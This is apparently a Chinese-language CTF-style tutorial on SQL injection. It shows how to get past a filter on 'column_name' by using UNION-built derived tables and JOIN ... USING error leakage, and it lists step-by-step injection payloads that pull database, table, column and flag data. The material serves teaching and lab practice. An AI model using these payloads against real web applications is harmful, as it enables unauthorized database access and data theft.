简介
在sql注入中,如果服务器过滤了column_name阻止我们获取列名,我们该如何绕过
一、union 绕过
使用union构造多个表,把数据表和构造的123表连接起来,我们看一下构造过程:
查询user表数据
select * from user;
Union联合查询,把两个表合在一起
select * from user where id=1 union select 1,2,3;
交换union查询语句的前后顺序,替换列名
select 1,2,3 union select * from user;
子查询
select * from (select 1,2,3 union select * from user)a;
现在就已经构造了一个表,并且有一个别名a,
查询a表的第二列,现在我们没有使用username列,就已经查询到了username列的内容
select a.2 from (select 1,2,3 union select * from user)a;
测试数字型还是字符型sql注入
id=1 输出admin
id=2 输出guest
id=1 and 1%23
页面有三种回显,并且有两种回显是根据id参数来的,那么可以猜测,服务器上是有回显位的,所以可以用union联合查询注入
测试列数
id=1 order by 3%23
测试回显位
id=-1 union select 1,2,3%23
拿库名
id=-1 union select 1,database(),3%23
拿表名
id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
拿列名
id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23
被过滤,采用union构造的方式绕过
拿flag
id=1 union select 1,a.2,3 from (select 1,2 union select * from flag)a limit 2,1%23
二、using 绕过
using可以根据指定的列名,把多个表连接起来,我们先复习一下join
我们再看一个例子:
在上面报错的基础上,我们加上using(Id)把我们的id列给合并了,合并id后就不会报错id的错误了:
爆第二个列
select * from (select * from user as a join user as b using(id))c;
id列合并一起后,username依旧的重复的,那么会接着报下一个列的错误
第三个列同理,我们把报出的已知列继续加入using合并,那么就会继续爆出下一个列的错误:
第三个列
select * from (select * from user as a join user as b using(id,username))c;
练习join on
select * from user join flag;
select * from user join flag on user.id=flag.id;
练习using
select * from user join flag using(id);
练习子查询
select * from (select 1,1)a;
payload构造练习
连接user表,构造相同的列
select * from user as a join user as b;
在使用别名查询一次,就可以报错
select * from (select * from user as a join user as b)c;
爆第二个列
select * from (select * from user as a join user as b using(id))c;
第三个列
select * from (select * from user as a join user as b using(id,username))c;
三、总结
已经拿到库名,表名;在拿列名的时间,column_name或者columns被过滤,不能适用columns表来拿到列名。当然在column_name,columns等没有被过滤的情况下,也可以适用,只不过稍微麻烦点
Union 主要适用于有回显位的情况,
Using适用于报错的情况,因为using是通过报错信息,把列名信息带出来的